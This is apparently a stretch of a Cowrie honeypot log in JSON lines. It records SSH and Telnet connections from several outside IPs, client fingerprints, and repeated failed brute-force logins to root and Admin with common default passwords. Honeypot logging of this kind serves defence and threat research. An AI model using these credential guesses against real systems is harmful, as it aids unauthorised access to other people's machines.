{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:00.995694Z","src_ip":"101.96.195.253","session":"f2c05e99849d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:01.694897Z","src_ip":"101.96.195.253","session":"f2c05e99849d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"12345678","message":"login attempt [Admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:01.939810Z","src_ip":"36.92.41.115","session":"fb36fda9baa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:02.927279Z","src_ip":"101.96.195.253","session":"f2c05e99849d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"7489901f10a9","protocol":"ssh","message":"New connection: 101.96.195.253:40424 (10.17.0.5:22) [session: 7489901f10a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:03.178477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:03.183498Z","src_ip":"101.96.195.253","session":"7489901f10a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:03.204106Z","src_ip":"36.92.41.115","session":"fb36fda9baa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:03.422843Z","src_ip":"101.96.195.253","session":"7489901f10a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.535370111465454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:12.070434Z","src_ip":"172.81.62.90","session":"ab8a33424baf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:15.433590Z","src_ip":"101.96.195.253","session":"7489901f10a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:16.675943Z","src_ip":"101.96.195.253","session":"7489901f10a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ad7c9505b5","protocol":"ssh","message":"New connection: 101.96.195.253:42810 (10.17.0.5:22) [session: 90ad7c9505b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:16.884378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:16.889215Z","src_ip":"101.96.195.253","session":"90ad7c9505b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.113611Z","src_ip":"101.96.195.253","session":"90ad7c9505b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":37132,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61c4bec03ac","protocol":"ssh","message":"New connection: 177.85.247.230:37132 (10.17.0.5:22) [session: f61c4bec03ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.179087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.184299Z","src_ip":"177.85.247.230","session":"f61c4bec03ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.287983Z","src_ip":"177.85.247.230","session":"f61c4bec03ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang12345","message":"login attempt [root/wang12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.732792Z","src_ip":"177.85.247.230","session":"f61c4bec03ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:17.809545Z","src_ip":"101.96.195.253","session":"90ad7c9505b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:18.840517Z","src_ip":"177.85.247.230","session":"f61c4bec03ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:19.041375Z","src_ip":"101.96.195.253","session":"90ad7c9505b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":42816,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeee7a8e6b13","protocol":"ssh","message":"New connection: 101.96.195.253:42816 (10.17.0.5:22) [session: aeee7a8e6b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:19.263979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:19.268475Z","src_ip":"101.96.195.253","session":"aeee7a8e6b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:19.497334Z","src_ip":"101.96.195.253","session":"aeee7a8e6b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:20.745903Z","src_ip":"101.96.195.253","session":"aeee7a8e6b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f008e8715389","protocol":"ssh","message":"New connection: 27.71.230.31:55736 (159.203.135.109:22) [session: f008e8715389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:20.956970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:20.981466Z","src_ip":"27.71.230.31","session":"f008e8715389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:21.550941Z","src_ip":"27.71.230.31","session":"f008e8715389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:21.974243Z","src_ip":"101.96.195.253","session":"aeee7a8e6b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":42820,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e2545017211","protocol":"ssh","message":"New connection: 101.96.195.253:42820 (10.17.0.5:22) [session: 5e2545017211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:22.202958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:22.207425Z","src_ip":"101.96.195.253","session":"5e2545017211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:22.431415Z","src_ip":"101.96.195.253","session":"5e2545017211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:23.118176Z","src_ip":"101.96.195.253","session":"5e2545017211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:24.353240Z","src_ip":"101.96.195.253","session":"5e2545017211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password7","message":"login attempt [root/Password7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:24.585172Z","src_ip":"27.71.230.31","session":"f008e8715389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce22d931c7d","protocol":"ssh","message":"New connection: 101.96.195.253:38780 (10.17.0.5:22) [session: fce22d931c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:24.591410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:24.596789Z","src_ip":"101.96.195.253","session":"fce22d931c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:24.828616Z","src_ip":"101.96.195.253","session":"fce22d931c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:25.885024Z","src_ip":"27.71.230.31","session":"f008e8715389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:25.996991Z","src_ip":"101.96.195.253","session":"fce22d931c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:27.231656Z","src_ip":"101.96.195.253","session":"fce22d931c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":38792,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5040541a5dc","protocol":"ssh","message":"New connection: 101.96.195.253:38792 (10.17.0.5:22) [session: e5040541a5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:27.449918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:27.455344Z","src_ip":"101.96.195.253","session":"e5040541a5dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:27.684940Z","src_ip":"101.96.195.253","session":"e5040541a5dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:29.056624Z","src_ip":"101.96.195.253","session":"e5040541a5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:30.284500Z","src_ip":"101.96.195.253","session":"e5040541a5dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":38800,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc3cc1abc9c2","protocol":"ssh","message":"New connection: 101.96.195.253:38800 (10.17.0.5:22) [session: dc3cc1abc9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:30.520203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:30.524554Z","src_ip":"101.96.195.253","session":"dc3cc1abc9c2","protocol":"ssh"}
